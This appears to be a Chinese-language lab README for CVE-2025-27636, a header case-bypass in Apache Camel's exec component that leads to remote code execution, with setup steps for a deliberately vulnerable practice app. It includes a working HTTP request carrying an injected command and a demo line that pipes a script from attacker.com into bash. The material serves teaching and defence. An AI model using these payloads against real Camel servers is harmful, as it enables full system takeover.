CVE-2025-27636 是 Apache Camel 中一个严重的远程代码执行 (RCE) 漏洞,具体位于 camel-exec 组件。它源于一个微妙但危险的问题:
DefaultHeaderFilterStrategy对标头名称执行区分大小写的检查,可以使用替代大小写来绕过。
这意味着内部 Camel 标头(例如 CamelExecCommandExecutable)如果大小写被篡改(例如 cAmeLexecCommandExecutable),本应被阻止的它们也可能通过。
当此标头到达 exec: 端点时,攻击者可以注入任意命令,导致系统完全沦陷。
DefaultHeaderFilterStrategyApache Camel 的 DefaultHeaderFilterStrategy 旨在保护内部标头,例如:
CamelHttp*CamelFile*CamelExecCommandExecutable ← 🚨 如果大小写绕过过滤器则易受攻击🔍 “内部”是什么意思? 内部标头是:
Camel* 为前缀然而,在补丁之前,此过滤器区分大小写地匹配标头名称,这违反了 HTTP 规范(标头不区分大小写),并允许如下绕过:
GET /systeminfo HTTP/1.1
Host: target-ip:8484
cAmeLexecCommandExecutable: /bin/bash -c "touch /tmp/pwned"
此标头将被传递到 exec: 组件,然后执行有效载荷。
CamelExecCommandExecutable此标头告诉 camel-exec 组件要运行哪个命令。如果可由用户控制,它非常强大且极其危险,尤其是在支持操作系统级别命令(如 bash、cmd.exe 等)的环境中。
项目:Pinewood Server Diagnostic
作者:@enochgitgamefied
目标:在真实的教育实验室中重现 CVE-2025-27636。
/tasks → 使用 exec:tasklist 或 exec:ps 列出任务/systeminfo → 输出操作系统信息(systeminfo 或 uname -a)/network → 显示 ipconfig 或 ifconfig/ 上提供服务# Clone the repository
git clone https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab.git
cd CVE-2025-27636-Pratctical-Lab
# Package the app
mvn clean package
# Run it
java -jar target/hello-camel-1.0-SNAPSHOT.jar
然后在浏览器中访问:
🖥️ http://<your-ip>:8484
未修补的行为:
如果你发送如下标头(注意大小写):
cAmeLexecCommandExecutable: whoami
过滤器不会阻止它,它会传递到 exec: 端点。你可以演示:
whoamiuname -abash -c "curl http://attacker.com/shell.sh | bash" ← 危险完整的演示正在准备中,即将上传。它将逐步介绍:
YouTube 演示链接 **https://www.youtube.com/watch?v=z4Xf9LYXc9o&t=714s**!
HeaderFilterStrategy。exec: 路由直接暴露给 HTTP。exec 时。本实验室仅用于教育和受控实验室目的。 切勿在未经授权的系统或网络上尝试此操作。
